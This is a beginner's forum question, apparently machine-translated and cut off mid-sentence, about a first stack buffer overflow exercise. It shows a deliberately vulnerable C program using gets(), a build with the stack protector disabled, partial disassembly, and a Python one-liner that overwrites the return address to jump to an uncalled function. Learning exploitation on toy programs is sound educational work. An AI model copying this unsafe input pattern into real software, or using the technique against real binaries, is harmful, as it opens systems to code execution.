Using Buffer Overflows with the gets () Method in a Simple C Program

I'm new to Buffer Overflow exploits, and I started with a simple C program.

the code

#include <stdio.h>
#include <strings.h>


void execs(void){
    printf("yay!!");
}

void return_input (void)
{
    char array[30];
    gets(array);
}

int main()
{
    return_input();
    return 0;
}

Compilation stage

I compiled the above program with cc, disabling stack protectoras:

cc test.c -o test -fno-stack-protector

Resetting an elf file using is objdumpas follows:

0804843b <execs>:

 804843e:   83 ec 08                sub    $0x8,%esp
 8048441:   83 ec 0c                sub    $0xc,%esp
 8048444:   68 10 85 04 08          push   $0x8048510

 8048457:   83 ec 28                sub    $0x28,%esp
 804845a:   83 ec 0c                sub    $0xc,%esp
 804845d:   8d 45 da                lea    -0x26(%ebp),%eax
 8048460:   50                      push   %eax
 8048461:   e8 aa fe ff ff          call   8048310 <gets@plt>
 8048466:   83 c4 10                add    $0x10,%esp
 8048469:   90                      nop
 804846a:   c9                      leave  
 804846b:   c3                      ret    

0804846c <main>:
 804846c:   8d 4c 24 04             lea    0x4(%esp),%ecx
 8048470:   83 e4 f0                and    $0xfffffff0,%esp
 8048473:   ff 71 fc                pushl  -0x4(%ecx)
 8048476:   55                      push   %ebp
 8048477:   89 e5                   mov    %esp,%ebp
 8048479:   51                      push   %ecx
 804847a:   83 ec 04                sub    $0x4,%esp
 804847d:   e8 d2 ff ff ff          call   8048454 <return_input>
 8048482:   b8 00 00 00 00          mov    $0x0,%eax
 8048487:   83 c4 04                add    $0x4,%esp
 804848a:   59                      pop    %ecx
 804848b:   5d                      pop    %ebp
 804848c:   8d 61 fc                lea    -0x4(%ecx),%esp
 804848f:   c3                      ret    

So, to use the buffer ( array), we need to find the number of bytes allocated in the stack frame return_input, which, looking at the dump,

lea    -0x26(%ebp),%eax

matters 0x26in hexadecimal or approximately 38 in decimal. So, introducing like:

38 + 4 (arbitrary characters) + (return addr execs)

will execute a function execs. I used the following:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test

But conclusion error :
